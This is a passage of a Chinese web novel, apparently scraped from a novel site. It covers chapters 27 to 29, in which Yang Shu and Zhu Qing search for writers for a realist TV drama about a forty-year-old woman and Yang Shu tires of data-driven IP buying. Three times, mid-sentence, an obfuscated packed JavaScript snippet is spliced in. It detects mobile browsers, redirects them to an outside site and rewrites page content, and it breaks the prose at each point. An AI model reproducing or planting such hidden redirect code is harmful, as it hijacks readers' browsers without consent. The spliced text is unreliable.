编剧摩拳擦掌,别说中年滑头了,少女机灵鬼她们都没写过,确切地说,以前也试图写,但制片方对“机灵”的理解有偏差。按他们的指示写出的少女既冒失,又聒噪,演员还把娇俏演成了蛮不讲理,播出后收视率还能看,但口碑不行。 又聊了一会儿,助理频繁看表,赶高铁的时间快到了。夏停长话短说,让编剧们按今天的碰头会弄出《不惑之年》的故事梗概,不用写太长,五千字为宜,先把架子搭起来,交给她看过,再商议往下做的可能。 助理叫的网约车到了,夏停起身要走,众人也都站起来,要送她出去,她让众人再讨论讨论,还给了一句鼓励:“好的戏剧一定是在讲价值观,你们有这个意识,我期待你们的梗概。” 27. 第 27 章 杨树和朱青把夏停送到门口,等网约车开走,朱青深吸一口气,《三十难立》暂时做不成了,但有卫视采销部副主任从题材、方向和宏观架构上给予指导,她和编剧操作《不惑之年》,就有数多了。 剧本创作,一个重要元素出现偏差,就可能导致满盘皆输,在现行的大环境下,《三十难立》就此搁浅,杨树为它叫屈。朱青却已有打算,她会把创意和大纲授权给编剧写成小说出版,她来当出版编辑。 影视剧直观,辐射面也广泛,审查机制比出版物严苛,目前把《三十难立》打造成通俗的影视剧暂有难度,但它作为文学作品,具备人文关怀,也不乏批判和反思,出版风险相对小一些。 图书市场已式微,一部作品销量达到两三万册,就已算畅销,跟影视剧不可同日而语。但哪怕让一小部分人看到书,使其中一些人有所警醒,杨树觉得善莫大焉。 回到咖啡座,编剧们夸杨树帮了大忙,第一女主角是喜剧人格是个建设性意见,得敬她一杯。 杨树说:“发现没有,越是贱嗖嗖浑身喜感的小人物,观众就越爱看。” 编剧笑道:“斗智斗勇的梗,大家百看不厌。” 戏剧说起来是在写冲突,但真正能让人一直记住的,往往不是多复杂的情节,而是人物,中年女滑头的人设立住了,这戏才有成功的可能。朱青感叹:“主角狡猾地活着,观众是爱看。” 两个编剧对《三十难立》有感情,但她们也都明白,文艺作品最重要的是传播,改成40岁,才能最大限度保住想探讨和展示的观点,成功地传递给大众。杨树让两人别郁闷,等做完《不惑之年》,就把《三十难立》写成长篇小说,她的前助手谢纵施在一家出版大社,他会很愿意出版。 目前市面上的都市女性剧趋于唯美化,女主角服饰高端,从不面临真实惨淡的危机,大步迈向显而易见的成功,但精彩的戏剧里,主角总在狼奔豕突,见招拆招,夏停发来一条微信:“要勇于表达人物的狼狈时刻。” 朱青建了剧本工作群,把杨树也加进去。晚上,杨树看到编剧们给第一女主角找好了职业身份:公关人士。每天都忙于给各大公司扑火,对各路人马装孙子,职场要诀一个字:忍。 丁盼兮说:“可别把中年女滑头写得太油滑了,不然要被观众骂死。” 杨树说:“所以这戏难写,这个度很难把握。” 秦朗问:“现在生活剧好看的少,言情、奇幻和罪案剧火爆,是不是因为好写点?” 杨树说写得好的作品都不好写,哪个题材想写得好,都很费劲。现实题材分外难写,就在于它不像言情、奇幻等幻想类作品,靠想象力就能企及,创作者得是很入世的人,才可能对生活有洞见。 丁盼兮说:“我陪我妈看,边看边骂,有的还烂尾了,伤感情。” 杨树笑咯咯,有人看,有人骂,都是好事,怕就怕没人看。但出乎她意料,《不惑之年》进展很不顺利。 两个编剧尝试了两版梗概,写出来的东西过不了自己这一关,她们提出退出项目。以朱青之见,编剧们有写好故事的能力,但《不惑之年》是她们经验和阅历之外的生活,虽然能用技巧去弥补,但想写得举重若轻,力不从心。 搞创作最残酷的一点是,努力之外,天分才是决定性因素,努力也许能让你交出不错的东西,但是惊艳的东西,靠的是天分,编剧们悲哀地看到自身能力的天花板。朱青和她们长谈过,但她们更愿意把《三十难立》的小说写出来,那是她们能力范围内能驾驭得好的故事。 小编剧也得吃饭,穷而弥坚是很难做到的,朱青所能做到的是尽力去挖掘和培养小编剧,不亏待她们。一人被朱青推荐去写公司的都市情感剧,另一人写小说《三十难立》为主,朱青找大老板申请给编剧创作小说的经费,大老板批了十万块。 风险大归大,但大老板仍想伺机而动,也许有一天市场条件成熟,《三十难立》这类女性群像剧反而成了安全题材。 朱青寻找新的编剧,但现实题材是戏剧最难写的一种,每个观众都见识过生活,写得不像没人看,写得像需要对生活有足够的观察,下笔还得冷眼热心,能写好的人不多,喜剧又更难些,放眼望去,当今世上的喜剧大师数都数得过来。杨树想到舒纹剪辑的年代剧编剧方雯。 有痛感的故事要笑着讲,方雯在年代剧里做得很好,杨树找公司的发行问到她的联系方式,但方雯在做一部悬疑推理剧,接不了新项目。 杨树跟夏停见完面那天,向《瓷缘》总编剧李峻汇报过情况,上班后,她把编剧做的两版《不惑之年》故事梗概发给李峻,她能感受到有问题,但具体哪里不对,她说不出来。 两版梗概加起来才一万多字,李峻看完找杨树聊了聊,他说创作者的基本功和编剧技术很扎实,但观念和视野需要拓展。 编剧们合格地呈现了一个可读性很强的故事,也输出了价值观,但优秀的现实主义电视剧,一定会体现创作者对于人和事有独特的观察,在这个关键点上,编剧们是有不足的。李峻认为最大的问题在于编剧不敢写人物的欲望,没有这个前提,人物就立不起来。 生活无常,欲望旺盛,人在其间挣扎,向上或放弃,这才是有血有肉的真实人物。这些道理杨树都懂,她仔细一回想,编剧在梗概里确实下意识不去触线,以至于角色气质和叙事情境都太“使劲”了,而且劲儿的方向还不对,拧巴了。但《三十难立》的遭遇摆在那里,编剧害怕过不了审,思想上有点被束缚。 编剧的顾虑,李峻哪能不知?以他近年担任总策划的项目经历来看,审查规定是不少,但定得模糊,有些自己心里都打鼓的台词和桥段,都很顺利过了,完全料想不到的,反而被打回来删减整改。 李峻让杨树转告编剧,既然条款规定难以捉摸,不如不去研究,把自己想表达的都表达到位,功夫在诗外的事情,都交给资方。资方也搞不定的话,你表达尽兴了,该拿的剧本费也拿了,没有太大损失。 杨树直言不讳:“可她们不是您这样的地位。她们是小编剧,写作过程中,被各种人指挥着,没法尽兴表达。她们的话语权要靠一部部作品积累起来,稿费也跟播出作品的数量和成绩息息相关,她们很希望自己写的剧本拍出来,播出来。” 李峻哈哈一笑,一个戏有一个戏的命,能不能走到拍摄的时候,拍的过程出不出岔子,拍完了能不能顺利卖给平台,播出时能不能播到最后一集,火不火,这都不是编剧能决定的。 李峻自己写得最满意的一个戏,前后写了7年多,各方都嫌风险大,迟迟找不到投资,好容易有人投钱,拍到一大半,老板进去了,对口的平台采购部也因受贿被查,所有人的心血都泡了汤。 有的小演员指望靠它攒点资历,只能认了。李峻说自己算是幸运,但也时常告诫自己放平心态,不抱更多期待。影视业是群策群力,身为编剧,做好自己这一环节,是惟一的本分,他说:“想得太多,思想就轻盈不了,飞不起来。但是不能飞,就去不了更远的地方。” 若不是李峻还有会议要开,杨树真想和他继续聊下去。她不是编剧,但从事文化工作以来,撰写了不少文字,李峻说了那么多,归根结底一句话:创作者不能先行自我阉割。 生活中,随波逐流是人生常态,也是很多普通人的个人选择,但戏剧人物的抗争意识才是精气神,是主角之所以是“主”角的原因所在,杨树想到舒纹剪辑的那部年代剧,深深叹气,反派形象都被上头嫌不正面,必须整改,正面主角哪敢出格? 明堂影业大老板请到两个中年女编剧操刀《不惑之年》,两人是固定搭档,合作多年,写过几部大热电视剧,央视和一线卫视黄金档都上过,收视很高,口碑尚可,是业内知名编剧。这几年,两人写得少了,像李峻一样,当总策划为主。 名编剧的工作室在顺义,朱青和助手小五带上好茶和甜品前去拜访。在这之前,朱青把《不惑之年》的精神内核和主角性格设定等资料都发给两人,但见面寒暄,名编剧让她重新讲一遍。 朱青仔细讲了,在这过程中,她听出名编剧对项目极陌生,像没看过她发的资料。果然,名编剧喝着咖啡,全面否了项目构思,女主角四十岁的人了,还活得左支右绌,处处遭受狼狈事,这个人设太不真实。 小五傻眼了:“不真实?” 名编剧甲说也不能说特别不真实,生活里这种人也有,要么不努力,要么有性格缺陷。名编剧乙说,四十岁的人,入社会少说十几二十年,社会地位和经济收入都比较稳定,会在意自己的形象,不可能滑头滑脑,女人那样不优雅不体面。 朱青直接说:“不好意思,我们这戏和两位老师的创作理念存在分歧。” 名编剧都惊住了,小五悄悄踩了朱青一脚,她在青芽图书就是朱青助手,每每有场面弄僵,小五都得冲上前找补:“我们朱老师没想过双方对同一个人物认知会有这么大差异,想听听您二位的设定,两位老师不要介意。” 名编剧甲乙一致认为女主角得是中产以上,家庭、子女和职场的问题必然都有,但不论是把重心放在哪方面,都比较俗,在同类产品都能见到,因此她们想探讨高级层面的问题。 小五一脸谦虚状,不时在记事簿上记几笔,拿给朱青看。在几行文字之间,她藏了几个小字:“为钱总想想。交给我。你去烧茶。” 名编剧甲说:“比方说,女主角是外企财务总监,工作游刃有余,衣食无忧,但她始终放不下年少时的艺术梦想,业余学画至今。因为天分高,接连获得几个有点分量的奖。如果你是她,你是继续做枯燥但收入高的工作,还是听从内心召唤,不忘初心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079234|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 名编剧乙眼里放光:“对对对,选择物质还是精神,是全人类都在探索的问题,我们最后让她走上真正的艺术之路,这叫华丽转身!” 朱青平时表情就少,此刻更没反应,名编剧乙示意她吃甜品,轻言细语问:“是不是觉得太深刻了?但四十岁的都市女人不再有生存压力,她们一定会去思索精神层面的东西。” 名编剧甲手指扣桌,思索了一下:“你想要加点狗血的也行,女主丈夫是大公司总裁,当年和女主是大学情侣,人人艳羡,但一路走来,爱情变成亲情。丈夫气质身材都挺好,是人中之龙,手下小姑娘很倾慕他。小姑娘像女主年轻时的模样,丈夫渐渐有点心猿意马,但只是精神出轨,女主发现了,不相信啊,痛苦啊这些情绪都有,你看,这里边很多话题可以写,还能让观众有共鸣。” 名编剧乙说:“这个设定我喜欢!这样让我们女主面临另一个难题,是放手成全,还是拯救婚姻?” 名编剧甲头一扬:“她可是个潇洒大方的女人,破碎的就不要,当然是一别两宽。” 名编剧乙笑孜孜:“故事最后给女主一个开放式光明结局,在异国画展上,一位风度翩翩的绅士长久在女主作品面前驻足,女主正接受记者采访,无意中望过来,两人目光交汇。” 名编剧甲是个短发女人,像爷们似的拍拍搭档的肩:“我一说,你脑子里就有画面了。我觉得结局特别扣题,不惑之年,就该从容不迫,万事随心。” 小五急忙捧场夸两位编剧老师给出的角度让人耳目一新,她想都想不到,回去一定好好消化。名编剧甲注视着朱青:“你们钱总很看重这个戏,他说卫视也有兴趣,我们也感觉值得一写,但我们十几年前就不免费写东西了,需要我们先出个梗概的话,就先谈合同吧。” 朱青压根就不想合作,但原则问题得表态:“让人付出劳动,就得先预付费用,这个是自然的。” 小五说:“我们听说两位老师自己有合同范本,可以给我们看看吗?” 名编剧甲把合同发到朱青微信上,朱青仔细看条款,一般编剧只能签甲方提供的标准合同,但这两人编剧名作傍身,强势得多。 小五看完了问:“不知道两位老师现在的稿费标准是多少?” 名编剧乙说:“15个。” “个”是影视业对“万元”的称呼,即为15万一集,小五语带歉意:“我们的预算差得远,两位老师,真的很抱歉。” 名编剧甲一怔:“你们钱总既然找我们写,应该知道我们的稿费标准吧?” “我们钱总很尊重编剧老师,但这个项目是台里授权给我独立操作,按项目责任制来算,所以预算比较紧。”小五张嘴说瞎话,满以为她们不会再问,但名编剧甲说,“我们对这个戏比较感兴趣,肯定自己动手写,不带学生。” 小五露出抱歉的神色:“可我们预算的确太少了,说出来会辱没两位编剧老师,希望有再次合作的机会。” 名编剧乙皱起眉:“既然预算少,那你们跑来,不是浪费我们时间吗?我们手头有两个项目都等着提修改意见。” 朱青承受着对方的不满,一句话都没辩驳,小五一迭声地说着不好意思,跟她一起离开编剧工作室。 朱青向大老板汇报:“她俩在云端太久了,不能体恤民情了。” 公司承接了一部重大题材的年代剧,大老板在片场督战,回复道:“那就再找吧。” 当名编剧说出“四十岁还没成功是咎由自取”,朱青就在心里放弃她们了。出生在高塔,又一直处于高位的人,她们对社会的体察度,不会比上了十天班的基层公务员了解得更多。 小五帮朱青把骂名揽上身,对方只会嫌这两人不懂规矩,但公司层面没得罪她们。若是朱青自己找的编剧,就会直截了当指出双方创作理念不合,无法合作,但大老板很信任她,她不能不听小五的劝。 会面之前,朱青查过名编剧的履历,甲的父亲是著名导演,乙的父母是戏剧学院的教授,两人在英国留学时相识相交,当了二十几年的搭档。 这两位海归编剧有若干名作,是平台购剧的重要参考之一。丁盼兮很疑惑:“我看过几部,都特别假大空,这钱也太好赚了吧。” 杨树说以国内崇尚名气的现状,有代表作能吃一辈子,那些小编剧未必需要这两人指导,但挂上这两人的头衔,搭班底找演员也容易点。 秦朗说:“她俩过得好,就以为全世界40岁女人不成功是不努力,建议她们不做策划时,去熟人公司上上班,拓展一下生活范围,别到处当老师开剧本会。” 自己所见即是世界的人太多了,杨树在青芽图书工作时,每当有谁诉诉苦,李伊梦总会跳出来问真的假的,她认识的人怎么没这样云云。但偏偏是这样的人,占据了不错的位置。 28. 第 28 章 朱青物色新编剧去了,杨树把精力花在本职工作上,有李峻坐镇,《瓷缘》剧本进展很稳健,她这个文学策划当得不费事。施严则没少跟她诉苦,《大唐银楼》挺进分集梗概阶段,小编剧们执行了李伊梦的指令,这个故事既跟原著没关系,跟大唐也没什么关系,跟银楼更没什么关系。 编剧们质疑过,但李伊梦一口气说出几个一二线演员的名字,她都去接洽过,每个人都表现了浓厚的兴趣,平台也认为剧本大纲情感跌宕起伏,情节大开大合,很有看点。 既然能磕到演员,平台也有意向,小编剧们甘愿妥协,飞快写去了。杨树无话可说,李伊梦吹牛成性,以《大唐银楼》现阶段这点东西,根本就没法往外发,哄着编剧干活罢了。 李峻打来电话,他前段时间找了几个能驾驭《不惑之年》的编剧,但都身陷在项目里,忙得不可开交。最后他想到了老朋友叶罗,跟她一聊,意外发现叶罗正在创作中年女人题材的长篇小说,主角正是活络至极的小人物,他把叶罗的微信名片推给杨树:“你们不谋而合,也许可以聊聊。” 杨树大喜过望,叶罗是她从中学时就喜欢的作家,她作品盛丰,被译为多国文字,在文坛很有影响力,她年轻时就有小说改编成影视剧,皆是家喻户晓。 叶罗快60岁,她所有作品都在写社会底层的小人物,他们辗转在历史和时代齿轮之下,求生或沉沦。杨树最爱叶罗的文风,她有本事把一切心酸和辛苦写得热气腾腾,生活质感极为准确。 《不惑之年》是生活剧,需要创作者对生活进行细微摹状和提取,不追求强戏剧冲突,所以在作家里找编剧,李峻这个思路很对。杨树和叶罗聊上了,叶罗发来新作,她已完成快10万字,果然和《不惑之年》契合度很高。 叶罗生活在武汉,杨树和她聊了两个多小时,越聊越激动,她把文档发给朱青,朱青预约了叶罗的时间,带上小五,坐高铁去武汉拜访。 朱青和叶罗促膝相谈,但叶罗不愿意接受委托创作,一来作品版权是甲方的,二来她得为甲方服务,创作上限制多,朱青干脆代表明堂影业签下她小说的影视改编权。在她之前,几家影视公司都闻风而动,但叶罗对朱青和杨树的认可度很高。 按原编剧的构想,女主角是公关人士,朱青一直让小五收集公关业的资料,打算协助编剧做深度采访,但叶罗小说的女主角是大酒店的保洁员,更能成为讲故事的载体。 公关人士虽然符合“中年女滑头”的定位,但它对于大众是陌生行业,编剧再怎么精心挑选生活化的案例,在目标观众眼里仍有“都市时髦感”,是日常生活之外的故事。保洁员则是老百姓熟知的市井人物,为人圆滑热络,行事腾挪闪移,很世故,也很能折腾,可以说,夏停对《不惑之年》的期许,叶罗是天降神兵。 叶罗的女主角贪生怕死爱钱,很会打小算盘,想把生活努力过好,是典型的小人物,身为保洁员,她接触形形色色的住客,目睹世间百态,因此《不惑之年》不用再做成群像剧,通过女主角的眼睛去描写众生即可,热闹场所热闹事,刁难的,落难的,她机智应对,巧妙化解,该发飙且发飙,认怂也不含糊。 叶罗的小说预计40多万字,她琢磨这个故事几年,脑子里跟角色混熟了,下笔很流利,预计明年底能写出全稿。但电视剧流程多,需要早做准备,她本来没有写大纲的习惯,应朱青之求,将在一个月内交出一份两万余字的故事大纲。 叶罗谢绝剧本写作,朱青打算拿到故事大纲再谈编剧。用喜剧的手法写狼狈小人物,最考验创作者的功底,但有叶罗打的底子,找编剧可能会顺利点。 小五帮朱青买了茶叶和茶具,杨树和两人一同去李峻工作室当面致谢。圈内管谁都喊老师,李峻对行业、对新人都抱有莫大的善意,他最当得起这一声老师。 叶罗比约定时间更迅速地交出《不惑之年》故事大纲,几乎是一蹴而就。朱青看了拍案叫绝,第一时间发给大老板和杨树。杨树得承认,虽然她也写点东西,但真正有天赋的那一类人,对于事物的感知力,是她再怎么练习也达不到的。 明堂影业大老板看完故事大纲就拍板要做,他收到若干想反映现实和人性的剧本,都冲着厚重路子去的,叶罗的《不惑之年》用喜剧的手法写普通人,一派天然,挣扎百态也都写得很鲜活。大老板赞叹幽默是了不起的能力。 《不惑之年》有夏停的想法在里边,朱青得发给她过目,但夏停所在的卫视近年播出的悬浮剧很多,吆喝是赚到了,但不耐看,闹哄哄的。大老板很惋惜,《不惑之年》给他们是明珠暗投,写到这种水准的现实题材,只要编剧不写歪,拿到别家卫视和网站,都很好卖,受众也更明确。 夏停称赞故事大纲水准高,她提交给采销部主任陈年,希望他点头,把《不惑之年》定为卫视的定制剧,交由明堂影业公司承制。但陈年一看到片名就不想看,几个观众会对40岁女人感兴趣? 夏停说:“除非早逝,所有女人都会走到40岁,所有人。” 陈年有个17岁的女儿,他喝口茶,没接话茬。夏停说以前台里也播过很经典的生活剧,人到中年的男女主角不少,陈年说时代变了,《不惑之年》招商必然难,播出来扑街,台里领导那一关怎么过? 收视率的问题,夏停不是没担心过,电视剧的根本属性是商品,必须追求商业价值,如果创作者的个人思想意趣和主流大众口味相悖,播出成绩不佳,所有相关工作人员心血白费,投资的钱也打了水漂。但就此放弃《不惑之年》,她实在不甘。 夏停和陈年是老同事,共事十几年,她拿台里重播次数最多的那几部商业和艺术兼备的老剧,极力游说:“台里去年几部 剧,您自己也说搞不懂为什么播得好,还感叹我们老了,但回过头想一想,我们年轻时看的好剧,现在还能捡起来看。” 台里一直在关注和搜集大数据,想知道年轻人爱看什么,陈年说:“你也知道,年轻化才方便招商。” 这几年,影视剧产量上来了,台里每年会出剧王,但很多剧,台里人自己都不看。夏停说:“如果连我们都只做些意义不大的快消品,老了更没想看的剧了。我还是想做点自己看得下去,观众也愿意多看几遍的东西。” 陈年叹道:“我就怕连我们这一辈的人都嫌太深刻了,不爱看了。我老婆就只爱看古装和狗血。” “您看看大纲就知道了,也不一定会失败,叶老师是用喜剧手法解构生活,风格很轻松逗趣,观众看剧没门槛。”夏停递上薄薄一沓纸质大纲,台里采购了一些虚头巴脑的都市情感剧,播得不差,但《不惑之年》描绘的才是真实的都市,部门背了利润任务,不得不去追求利益最大化,但也该留一点空间,让表达当代现实中国的作品流传开去。 陈年扫了一眼故事大纲:“写的是保洁员?有点土。” 小说比影视剧自由,洋洋洒洒几十万字,或展现一段人生,一个人物,或表达一个观点都行,土不土不重要,情节浓度有多高,也不重要。但电视剧的商业属性决定了剧本不能土,土不好拉投资,多半只能上地方台,但地方台的传播面太窄,卫视做剧,方方面面都得顾忌。 夏停让陈年细看故事大纲,女主角从大酒店保洁员,到富裕人家住家阿姨,再到度假酒店主管,然后是自己开家政小公司,工作环境都不土,避免了场景土气的问题,而且将来选演员由台里定夺就是了,绝对会找有演技和观众缘的熟脸。 陈年还在犹豫,夏停说:“我们这些人,该有的都有了,总得为下一代做点事吧,给他们留个尽可能开阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨树找方雯要了履历表和她写过的几集剧本,从履历来看,为了生活,方雯做出很多无奈的妥协,她参与了三部剧都没署名,播出的两部剧,其中一部评分极低,口碑也不佳,另一部就是那部年代剧,针对审查意见做了两次删减剪辑,还在等档期。 杨树约出方雯,跟朱青一起聊聊,慎重选择项目和共事之人,一直是她的处世原则。以后少说要合作半年,接触沟通的感觉很重要,沟通得不好,气场不合,后续的工作就是彼此折磨。 朱青寡言,但方雯很健谈,朱青就抛个话头听她说,同时观察她。很多编剧都说自己能写不能说,但以朱青之见,作家未必能说会道,但好编剧都很能说,一开口就能吸引她的主意,在生活里也很有人格魅力。 编剧的天赋是讲故事的能力,方雯对内容的理解和经验都很对朱青的胃口,朱青夸她那部年代剧写得有意思,她本来很少看这类题材,也看进去了,但她不明白年代剧和上一部之间发生了什么。 方雯明白她其实想问为何她水平突飞猛进,笑道:“这戏只有8集剧本就开机,我进组每天疯狂赶稿,写了就拍,没人让我改。” 高考后就再没写过作文的人,占据了话语权,过度干涉创作,因此满分10分,编剧只能交出5分作品,但给了编剧自由的创作度,呈现的作品到了8分,在两个地面台都播得极好,收视破4,成功上星。朱青笑,这一行黑色幽默挺多。 方雯习惯单打独斗,没有团队,但《不惑之年》会探讨很多社会化议题,一人分饰多角可能不够全面,朱青提出给她搭配责任编辑,帮她搜罗整理有大众讨论度的话题,做些细节辅助工作。 朱青管理的策划部责编都很年轻,要么大学刚毕业,要么毕业两三年,但《不惑之年》需要主创团队对人生有一定的认识,身在甘肃的章嘉敏接到朱青的邀约,远程担任责编。 29. 第 29 章 丁盼兮的CPA考试第一场是8月,杨树每天都花些时间辅导她英语,秦朗又忙于新项目,频繁加班。杨树挺喜欢大家的状态,每个人都在为未来而努力奋斗,但公司今明两年的项目都有责编了,她拿不到机会,有些急躁。 分管副总召开全员会议,目前公司买下的IP,很多不算红,他让众人多买网站上排行榜积分高的作品,名次越好越尽早下手。 主管提了建议,针对红文要特事特办,压缩签约流程时间,其次不能惟排行榜论,很多红文之所以上榜,只因擅长跟风,剥除了流行元素,内容不值一看。但分管副总说一篇文章数据那么好,必有过人之处,先买下再说,剩下的事交给编剧。 散会后,杨树向主管提出异议:“有的红文特别俗气,别人写什么它跟着写什么,买回来不值当,改编也费劲。” 老板娘说:“老板愿意花这个钱,让他花呗。” 姜妤说:“总不能只看数据吧,内容才是王道。” 主管也有点郁闷,但上头发了话,权当把红文当成战略储备吧,IP价格一天比一天高,没准哪天还能转卖给别人。 一篇网文,写得再好看,只要数据平平,就被上面丢开了,而数据越好,就越好卖出影视版权,价格也越高。杨树和姜妤都觉得很可笑,数据是最容易造假的,影视业自己就是行家,还能不明白这些? 易无一语解了惑,如果你认为故事内核和人物魅力都出众,分管副总听了你的,买回来拍摄,但发行不出去,播得差,拿不到回款,到时候股东们只会怪他决策失误。如果只看数据,那最多是他被数据造假坑了,也是受害者,有推卸责任的余地。 已婚三人组商量出对策,但凡是上了榜的,积分高的,闭眼签就是了,不然就落到别家手上了。主管想不通:“全文16万字,网站就敢给我们报价800万,何德何能啊,800万!” 易无笑笑:“关键是,800万还真有人买。” 姜妤朋友所在的公司买了两个IP,一部是漫画,一部是半自传体性质的小夫妻日常故事,都被推手卖出了2千万。主管气恼地把文件夹摔在办公桌上:“疯了,都疯了,我倒要看看他们还能疯到什么时候。” 姜妤说:“热钱都涌进来了,且得一阵子呢。” 榜单上的红文被哄抢,适不适合拍摄已不重要,老板们看到动辄上亿十亿的积分,大几十万上百万的收藏量,一个个心花怒放,仿佛拍成剧就能红遍全球。 有天杨树正在看章嘉敏推荐的一部小说,姜妤说要辞职,晚上请她和易无吃饭道个别。 一家以承制平台定制剧为主的新公司挖姜妤去当责编,他们这两年要做的IP剧都很符合姜妤喜好,大多是《天作之合》那种轻松风格。 易无也说公司再待下去没意思,他原先想多挑点好内容,但现在老板们只盯着红人红文。姜妤劝他稍安勿躁,他得多挣点钱,生活没压力了,才好清清爽爽专职写小说,不图别的,就图写得舒坦。 易无拿起酒杯:“杨树,你暂时可别跳槽,不然我在部门有点惨。” 杨树本想等到《瓷缘》顺利拍出来再议,不打算会步入姜妤后尘,但《玫瑰掌门》让她下了跳槽决心。 《玫瑰掌门》立足于以玫瑰为原材料的护肤品牌,女主角是配方师,以她创业奋斗过程的小案例,讲述女人们的爱和伤痛,很温暖也很励志。杨树如获至宝,催着主管快看,主管夸它情节和情怀兼备,是很耐看的行业小说,但推荐表格报上去,被总监打回了。 总监连文档都没打开,看了相关数据,就批评策划文学室:“这个作者不红,没有IP价值。都跟你们说了,得找数据好的。红文拍出来才有市场。” 杨树极力争取,买IP花一笔钱,拍摄再花一大笔钱,让那么多人耗费心血和精力去做的事,不该以内容为本吗?总监批评她不能把个人喜好凌驾于商业行为之上,《玫瑰掌门》是剧情向,行文正统,这种严肃点的小说向来是小众冷门,就它在网上那点可怜巴巴的数据,毫无影视化必要。 杨树感到糟心,买故事是在买数据,拍出来再去买其他数据,制造虚假繁荣,她不知道这种乱象何时才能过去。 《玫瑰掌门》的作者名叫陆霜,笔名霜晨月,前年,杨树出版了她一部青春小说。霜晨月是小作者,23万字的长篇小说,李伊梦只批了1万块稿费,还得扣税。 两年后,霜晨月拿出了《玫瑰掌门》,比前作出色,但别说影视化了,连出版都成问题了,只因数据很一般。 谢纵施刚去出版社没多久,还使不上劲,杨树找上青芽图书的前下属,前下属说整个女□□业部现在都只找所谓有卖点的书,谁也不知道市场在哪儿,最简单的就是看数据。 霜晨月生活在四川小城,是基层公务员,写作是她每天下班后最快乐的事。去年,杨树被李伊梦诬陷吃回扣,霜晨月特地发了声明支持杨树,杨树很希望《玫瑰掌门》卖出影视版权,略微改善她的处境,她把文档发给了朱青,好故事不能被埋没。 明堂影业公司反馈很快,他们想买下《玫瑰掌门》所有版权,一共30万,朱青谈了条件,出版权和电子版权都留给原作者,明堂影业让了步。 多少小说凭借数据好看,就卷走数百万、上千万的版权费,杨树替《玫瑰掌门》不值,但霜晨月很知足,只要自己写的故事能被更多人看到,钱少点就少点。 霜晨月先后发表小说的网站,都被人称为言情网站,其实很多作者并非只写谈恋爱,但是不红,就意味着很难被人看到。《玫瑰掌门》几乎没写恋爱,都能被杨树看上,她感激涕零。 杨树决定以后要多夸奖、多推荐自己喜欢的东西。大部分人写的小说都没法产生经济效益,写作的动力是有人看,有人喜欢,她多留点评论,举手之劳而已。 霜晨月和她连载小说的网站签了约,网站是她的版权代理方,尽管它们没为霜晨月做什么,但要分走两成版权费。明堂影业和网站商议合同细则期间,杨树开完了《瓷缘》全剧本初稿会议,她的文学策划工作告一段落,制作了新简历表,托付朱青帮她交给明堂影业人事部,明堂影业以剧本为本,她想跳过去。 朱青收了杨树的简历,表示会尽力,但一周过去了,她让杨树再等等。杨树有点坐不住,可是上头每天都丢来一大堆表格,让众人填写,便于他们购买数据好的红文,她烦透了,向主管提出辞职。 主管问找到下家没有,杨树说没有,但想休息一阵,主管说给她批假,杨树索性直说了:“我对公司挺失望。” 主管挽留杨树,公司有些经营理念是走偏了,但时代变了,谁也不能说明自己坚持的才正确,何况跟老板们也说不着。主管不建议杨树贸然辞工,杨树一个外地人,每个月光是租房就得花掉不少钱,有些事,她得看淡些,学会对看不惯的事视而不见。 杨树知道主管是真心为她好,她从小就崇尚快意恩仇,有种单挑,但被社会教育了这么久,她和少年时的自己不一样了,也会说点违心话,学着圆融处事,虽然没太学会,但让她反复忍,她忍不了,也不想忍。 心思一活络,人就没法再安于现实,但苦苦期待,杨树想听到的面试电话仍然没有到来。晚上丁盼兮备战CPA,杨树辅导英语完毕,心浮气躁得很,去阳台坐了片刻。 阳台很宽敞,放了茶桌茶凳,但没有灯,丁盼兮去年平安夜搞气氛,买了几盏风灯,杨树拎了一盏,搁在脚边。她总爱在这里静一会儿,但今晚静不下来,切了两只香水菠萝,冻起来泡苏打水喝,把浑身的燥气压一压。 在老家的时候,喝得最多的冰镇后的杏皮茶,常常是在夏天,拉上窗帘的白纱,靠在竹制躺椅无所事事地纳凉,看书,小电扇悠悠地吹着,那时还不是个脾气急躁的人,也没有烦心事,那时妈妈还活着。 妈妈还活着的夏天,杨树没想过有天会远走千里,碌碌无为。她端着杯子,很是怅惘,秦朗加班回来了。杨树没回头:“冰箱还有菠萝,还买了老冰棍。” 秦朗热饭热汤,杨树一心一意发着呆,突然伸手啪一声,小腿被揍得生疼,蚊子却飞走了。才5月,竟有蚊子了,她好不气恼,回头一看,秦朗坐在餐桌前看她,然后起身拿了一支冰棍,蹲在她的影子里,吃得吸溜吸溜。 杨树没有聊天的兴致,影子落在地上,秦朗在她头上比划兔耳朵,她笑一下,继续喝冰水。秦朗看出她不开心,问要不要吃朗姆芝士蛋糕,刚才回来的时候,“不野岛”家似乎还开着,杨树说想吃辣的,辣得涕泪直流那种,于是等到周末,三人去吃江西菜。 小区里,孩子们拽着风筝,欢叫着,嬉闹着,还有几个孩子仰头看看物业人员给花树剪枝条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079236|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它们开得有败相了。 